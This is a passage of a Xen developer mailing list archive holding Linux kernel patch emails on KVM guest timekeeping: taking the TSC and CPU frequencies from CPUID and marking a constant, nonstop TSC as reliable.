@@ -1007,6 +1025,21 @@ static void __init kvm_init_platform(void)
 			wrmsrq(MSR_KVM_MIGRATION_CONTROL,
 			       KVM_MIGRATION_READY);
 	}
+
+	/*
+	 * If KVM advertises the frequency directly in CPUID, use that instead
+	 * of reverse-calculating it from the KVM clock data, or worse, trying
+	 * to calibratate the TSC using an emulated device.
+	 */
+	timing_info_leaf =3D kvm_cpuid_timing_info_leaf();
+	if (timing_info_leaf) {
+		kvm_tsc_khz_cpuid =3D cpuid_eax(timing_info_leaf);
+		if (kvm_tsc_khz_cpuid) {
+			x86_init.hyper.get_tsc_khz =3D kvm_get_tsc_khz;
+			x86_init.hyper.get_cpu_khz =3D kvm_get_tsc_khz;
+		}
+	}
+
 	kvmclock_init();
 	x86_platform.apic_post_init =3D kvm_apic_init;
=20
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 29ca37e9a3bc..f55d0305d1f3 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -342,8 +342,10 @@ void __init kvmclock_init(void)
 	flags =3D pvclock_read_flags(&hv_clock_boot[0].pvti);
 	kvm_sched_clock_init(flags & PVCLOCK_TSC_STABLE_BIT);
=20
-	x86_init.hyper.get_tsc_khz =3D kvmclock_get_tsc_khz;
-	x86_init.hyper.get_cpu_khz =3D kvmclock_get_tsc_khz;
+	if (!x86_init.hyper.get_tsc_khz)
+		x86_init.hyper.get_tsc_khz =3D kvmclock_get_tsc_khz;
+	if (!x86_init.hyper.get_cpu_khz)
+		x86_init.hyper.get_cpu_khz =3D kvmclock_get_tsc_khz;
 	x86_platform.get_wallclock =3D kvm_get_wallclock;
 	x86_platform.set_wallclock =3D kvm_set_wallclock;
 #ifdef CONFIG_X86_LOCAL_APIC
--=20
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350417.1607974 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g7-0004v2-PG; Wed, 01 Jul 2026 19:32:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350417.1607974; Wed, 01 Jul 2026 19:32:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g7-0004rz-2f; Wed, 01 Jul 2026 19:32:59 +0000
Received: by outflank-mailman (input) for mailman id 1350417;
 Wed, 01 Jul 2026 19:32:57 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3ZWtFagYKCaocOKXTMQYYQVO.MYWhOX-NOfOVVScdc.hOXZbYTOMd.YbQ@flex--seanjc.bounces.google.com>)
 id 1wf0g4-0004MT-PW
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0g4-00B3ua-5r
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:56 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3ZWtFagYKCaocOKXTMQYYQVO.MYWhOX-NOfOVVScdc.hOXZbYTOMd.YbQ@flex--seanjc.bounces.google.com>)
 id 6a456b66-5cb7-0a2a0a5109dd-0a2a4506dc64-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:56 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3ZWtFagYKCaocOKXTMQYYQVO.MYWhOX-NOfOVVScdc.hOXZbYTOMd.YbQ@flex--seanjc.bounces.google.com>)
 id 6a456b66-08de-0a2a45060019-d155d6cab971-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:55 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c9960cf96cso12691805ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934374; x=1783539174; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=h0seWmgtqawiMKFH9SI3lPf42xnOLUsMbO7m+HkPiqQ=;
        b=eZKpDRRbIXRxpJ1l4xvUHXk2fBB3j8zllqvdZ/jRD61RfZ8tl8sEGy7SCOt/DwyYV+
         a/hwLYCZFj9Ng/rRT06g5L9Thot6ucxjIOoB0vTNT5Er6t9Z3JD7siPB3ejIBLlV78ME
         GhRgURfUt0ACNR5/xzfnFLjyvoe+dw1KrufNTHKBRjYMWmns/04M+vKL8svXtD1Djjq+
         dMPgSF0T1VbWCMuhvj6lSYq5zPydSbV9pGNzL4PdXw5wejNR8o/rLcxpzeA6ns5w/1xt
         nRbqdjurbJmsUZP6xBClp1xsd45J5jAds8ruJ6qwnjipZNb8X7QCsxT0Ms8oMIIqYXj8
         kufA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934374; x=1783539174;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=h0seWmgtqawiMKFH9SI3lPf42xnOLUsMbO7m+HkPiqQ=;
        b=iPGvGeAqtsmJMBsEQ0GDqKZGV9ZdRO/jj9fCBIJsKMpipADU/tEKdIsQrwsiPmtyKx
         jhSF7DJDKFhKxizIbkF6ODwsbqLRto7mIvs0+yTLjWVkAI5UkifoahcSEYZJy694VAL/
         naE4dpSddnZDPkF+0KtMEwMFUFTpN4lgUONcE/Mf1MSUL/i7nKTkiPzkNGRwRT3Uxoe2
         rTJbbZxp8pFaFuZJSQ2wipUuacFftMyRvyCuG1xE1r4AOIpGwqrzVa8YhKn6LlOMfnFi
         chDumqGGnoTbi5vDPkU5hDhpzeBZfFllR5ljd3QS+3CWnIkV/N7NrLBqPANItwTnmp1R
         jS+w==
X-Forwarded-Encrypted: i=1; AHgh+RrdAN5/25dWIQTHYh69IKlgg22f6s6L+N3BT/V4oeAMDm47p21gHQl/7f+I3wVaoEICIPl/3/iUtH0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxbOlqNbCUsE2vPCgYvP5BHt2s0oiVzfAstMsxZ69x8rTlQ7CPR
	lygURhPxMyTTWAADje+KJrZ5ERmcf+hB3HwhrupEWs8BKfKJfl/qMT2HpjI2NUmh7bvYV/A7SUb
	v4YIdeQ==
X-Received: from plll3.prod.google.com ([2002:a17:902:d043:b0:2c7:ed23:f47c])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:d4cd:b0:2c8:1f58:55dd
 with SMTP id d9443c01a7336-2ca7e710f10mr31641185ad.9.1782934373673; Wed, 01
 Jul 2026 12:32:53 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:43 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-23-seanjc@google.com>
Subject: [PATCH v5 22/51] x86/kvm: Mark TSC as reliable when it's constant and nonstop
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934376-F89E968D-6525BB46/0/0
X-purgate-type: clean
X-purgate-size: 3796

Mark the TSC as reliable if the hypervisor (KVM) has enumerated the TSC
as constant and nonstop.  Like most (all?) virtualization setups, any
secondary clocksource that's used as a watchdog is guaranteed to be less
reliable than a constant, nonstop TSC, as all clocksources the kernel uses
as a watchdog are all but guaranteed to be emulated when running as a KVM
guest.  I.e. any observed discrepancies between the TSC and watchdog will
be due to jitter in the watchdog.

This is especially true for KVM, as the watchdog clocksource is usually
emulated in host userspace, i.e. reading the clock incurs a roundtrip
cost of thousands of cycles.

Marking the TSC reliable addresses a flaw where the TSC will occasionally
be marked unstable if the host is under moderate/heavy load.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/kvm_para.h |  2 +-
 arch/x86/kernel/kvm.c           | 12 +++++++++++-
 arch/x86/kernel/kvmclock.c      | 14 +++++---------
 3 files changed, 17 insertions(+), 11 deletions(-)

diff --git a/arch/x86/include/asm/kvm_para.h b/arch/x86/include/asm/kvm_para.h
index 4a47c16e2df8..4a49fc286b4c 100644
--- a/arch/x86/include/asm/kvm_para.h
+++ b/arch/x86/include/asm/kvm_para.h
@@ -118,7 +118,7 @@ static inline long kvm_sev_hypercall3(unsigned int nr, unsigned long p1,
 }
 
 #ifdef CONFIG_KVM_GUEST
-void kvmclock_init(void);
+void kvmclock_init(bool prefer_tsc);
 void kvmclock_disable(void);
 bool kvm_para_available(void);
 unsigned int kvm_arch_para_features(void);
diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c
index 909d3e5e5bcd..1cef54e1e7d9 100644
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -978,6 +978,7 @@ static void __init kvm_init_platform(void)
 		.mask_hi = (BIT_ULL(boot_cpu_data.x86_phys_bits) - 1) >> 32,
 	};
 	u32 timing_info_leaf;
+	bool tsc_is_reliable;
 
 	if (cc_platform_has(CC_ATTR_GUEST_MEM_ENCRYPT) &&
 	    kvm_para_has_feature(KVM_FEATURE_MIGRATION_CONTROL)) {
@@ -1040,7 +1041,16 @@ static void __init kvm_init_platform(void)
 		}
 	}
 
-	kvmclock_init();
+        /*
+         * If the TSC counts at a constant frequency across P/T states and in
+         * deep C-states, treat the TSC reliable, as guaranteed by KVM.
+         */
+	tsc_is_reliable = boot_cpu_has(X86_FEATURE_CONSTANT_TSC) &&
+			  boot_cpu_has(X86_FEATURE_NONSTOP_TSC);
+	if (tsc_is_reliable)
+		setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
+
+	kvmclock_init(tsc_is_reliable);
 	x86_platform.apic_post_init = kvm_apic_init;
 
 	/*
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index f55d0305d1f3..2e7ab54cb9dc 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -307,7 +307,7 @@ static int kvmclock_setup_percpu(unsigned int cpu)
 	return p ? 0 : -ENOMEM;
 }
 
-void __init kvmclock_init(void)
+void __init kvmclock_init(bool prefer_tsc)
 {
 	u8 flags;
 
@@ -356,15 +356,11 @@ void __init kvmclock_init(void)
 	kvm_get_preset_lpj();
 
 	/*
-	 * X86_FEATURE_NONSTOP_TSC is TSC runs at constant rate
-	 * with P/T states and does not stop in deep C-states.
-	 *
-	 * Invariant TSC exposed by host means kvmclock is not necessary:
-	 * can use TSC as clocksource.
-	 *
+	 * If TSC is preferred over kvmlock, drop kvmclock's rating so that TSC
+	 * is chosen as the clocksource (but still register kvmclock in case
+	 * the kernel doesn't want to use TSC for whatever reason).
 	 */
-	if (boot_cpu_has(X86_FEATURE_CONSTANT_TSC) &&
-	    boot_cpu_has(X86_FEATURE_NONSTOP_TSC))
+	if (prefer_tsc)
 		kvm_clock.rating = 299;
 
 	clocksource_register_hz(&kvm_clock, NSEC_PER_SEC);
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350423.1607984 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g9-0005Il-EP; Wed, 01 Jul 2026 19:33:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350423.1607984; Wed, 01 Jul 2026 19:33:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g8-0005HZ-Vh; Wed, 01 Jul 2026 19:33:00 +0000
Received: by outflank-mailman (input) for mailman id 1350423;
 Wed, 01 Jul 2026 19:32:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3Z2tFagYKCaweQMZVOSaaSXQ.OaYjQZ-PQhQXXUefe.jQZbdaVQOf.adS@flex--seanjc.bounces.google.com>)
 id 1wf0g6-0004kx-P4
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0g6-00B3ua-4v
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:58 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3Z2tFagYKCaweQMZVOSaaSXQ.OaYjQZ-PQhQXXUefe.jQZbdaVQOf.adS@flex--seanjc.bounces.google.com>)
 id 6a456b66-5cb7-0a2a0a5109dd-0a2a4506dc64-10
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:58 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3Z2tFagYKCaweQMZVOSaaSXQ.OaYjQZ-PQhQXXUefe.jQZbdaVQOf.adS@flex--seanjc.bounces.google.com>)
 id 6a456b68-08de-0a2a45060019-d155d7cabd77-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:57 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c88d7a75507so1270513a12.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934376; x=1783539176; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=3ZuhwNx9YXpitDLlgZzJCjWGiYgYUv+Ggq0FniuPOLw=;
        b=lxViW8WAJLXW6fMwttCfBrvJau12GH0yFmxR3UbXxuiFGU96fiEtXlscE74f+R07WE
         lOhlDvbXsKo/qw/Pc4zPtWO6sRS+YPeUtMgA8yKHXicnQ0OArimn24MxhzRlTSIJ27oC
         1V9D+8cbZTWYAZu3SBz5nfMzYVYJjMl23hLDeR4ZLCV0R+6gFT4dkkE7uVZexeRw4naU
         T/1+tSlVELR60wesaF+Jesfw4vkNb2Zvr68vakCLdahpH4ZgWUH8EifVOtWD9J+9skOx
         hXSSpTUP9NmD0izmzISOz84bkNiVLSd2ueF9QQW+e2+So5rvS1IQCcurWwHagmqz52P9
         MnpQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934376; x=1783539176;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=3ZuhwNx9YXpitDLlgZzJCjWGiYgYUv+Ggq0FniuPOLw=;
        b=k8vy7BY1tyIgE2nAztY3G1w39a9vo1OdTg+rcOtZXD9SPP0RMLBvi+yZRCadIFVO9R
         UCylPxrqFk5rJxjNwi00k/g4WobgsrHjlr2qXQNNQLoA1/9h3lXNmvr29LrMyAEsh4T1
         llWMsHJAdnq/fRBNKwBJTYJbPSzfSBD2dke4+1pgDudB1vhe2UUFbwFyJcr92ccJbiGg
         L+kzQQlgmnKOyjMjsqvyK4cWWQ9y9969tkTmlhhBgsvg7KR2GZ3Vi32Kr5Zse7R8dUT1
         sHeVFCZ3DMkL6Tl8/v732QLHNDw4kqXbk77Xnn+Zdy2lXRHKPJd58+mZdIAj+gHBMYA/
         Y8Tg==
X-Forwarded-Encrypted: i=1; AFNElJ9FhIlk1G5iIAk9Gchk4MbQDEbfi30zXL3PgfyB+w7IjAgp4wNAqyC6B3oYV2eqb2Kx6rHvuQBio5c=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyTOqWjB5ezIPJWmvIMshp73BuQwMX+foOzfpFzqO7L8B4EUI67
	6WMaB6e+xwyhv71x1kVdNkVdo7ptplCGbLg/WmOQcMiRxdF8XwfDMu+3gTx6VD99AQMqAEHENiw
	h0V2Jng==
X-Received: from pglx30.prod.google.com ([2002:a63:171e:0:b0:c9e:a22d:15c4])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:6e8f:b0:3bf:d0c8:2aa4
 with SMTP id adf61e73a8af0-3bfed1c3990mr3189645637.8.1782934375853; Wed, 01
 Jul 2026 12:32:55 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:45 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-25-seanjc@google.com>
Subject: [PATCH v5 24/51] x86/kvm: Get CPU base frequency from CPUID when it's available
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934378-41F3C68D-88305DC7/0/0
X-purgate-type: clean
X-purgate-size: 1781

If CPUID.0x16 is present and valid, use the CPU frequency provided by
CPUID instead of assuming that the virtual CPU runs at the same
frequency as TSC and/or kvmclock.  Back before constant TSCs were a
thing, treating the TSC and CPU frequencies as one and the same was
somewhat reasonable, but now it's nonsensical, especially if the
hypervisor explicitly enumerates the CPU frequency.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvm.c | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c
index 1cef54e1e7d9..6c7011ff7bd1 100644
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -50,6 +50,7 @@
 #include <asm/e820/api.h>
 
 static unsigned int kvm_tsc_khz_cpuid __initdata;
+static unsigned int kvm_cpu_khz_cpuid __initdata;
 
 DEFINE_STATIC_KEY_FALSE_RO(kvm_async_pf_enabled);
 
@@ -928,6 +929,11 @@ static unsigned int __init kvm_get_tsc_khz(void)
 	return kvm_tsc_khz_cpuid;
 }
 
+static unsigned int __init kvm_get_cpu_khz(void)
+{
+	return kvm_cpu_khz_cpuid;
+}
+
 unsigned int kvm_arch_para_features(void)
 {
 	return cpuid_eax(kvm_cpuid_base() | KVM_CPUID_FEATURES);
@@ -1041,6 +1047,14 @@ static void __init kvm_init_platform(void)
 		}
 	}
 
+	/*
+	 * Prefer CPUID.0x16 over KVM's PV CPUID when possible, as the base CPU
+	 * frequency isn't necessarily the same as the TSC frequency.
+	 */
+	kvm_cpu_khz_cpuid = __cpu_khz_from_cpuid();
+	if (kvm_cpu_khz_cpuid)
+		x86_init.hyper.get_cpu_khz = kvm_get_cpu_khz;
+
         /*
          * If the TSC counts at a constant frequency across P/T states and in
          * deep C-states, treat the TSC reliable, as guaranteed by KVM.
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350471.1607996 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gN-0007DJ-Hx; Wed, 01 Jul 2026 19:33:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350471.1607996; Wed, 01 Jul 2026 19:33:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gN-0007DC-EU; Wed, 01 Jul 2026 19:33:15 +0000
Received: by outflank-mailman (input) for mailman id 1350471;
 Wed, 01 Jul 2026 19:33:14 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3dmtFagYKCbstfbokdhpphmf.dpnyfo-efwfmmjtut.yfoqspkfdu.psh@flex--seanjc.bounces.google.com>)
 id 1wf0gM-00077Q-5r
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:33:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0gL-00B3zO-J2
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:13 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3dmtFagYKCbstfbokdhpphmf.dpnyfo-efwfmmjtut.yfoqspkfdu.psh@flex--seanjc.bounces.google.com>)
 id 6a456b79-5cb7-0a2a0a5109dd-0a2a4504c410-0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:13 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3dmtFagYKCbstfbokdhpphmf.dpnyfo-efwfmmjtut.yfoqspkfdu.psh@flex--seanjc.bounces.google.com>)
 id 6a456b77-a01d-0a2a45040019-d155d2c9e504-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:13 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-8423f1fe39eso1388375b3a.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:12 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934391; x=1783539191; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=V+q3+pR5470wsF5QmCXBVWy55xlVZlxhghTF4iDuO4s=;
        b=k/jTfYAXzhYkYwJe2JoqeSZsue0Bv+f08tun5UaL/5Ytz5h2e0lkBz1mRhR5qWkDjZ
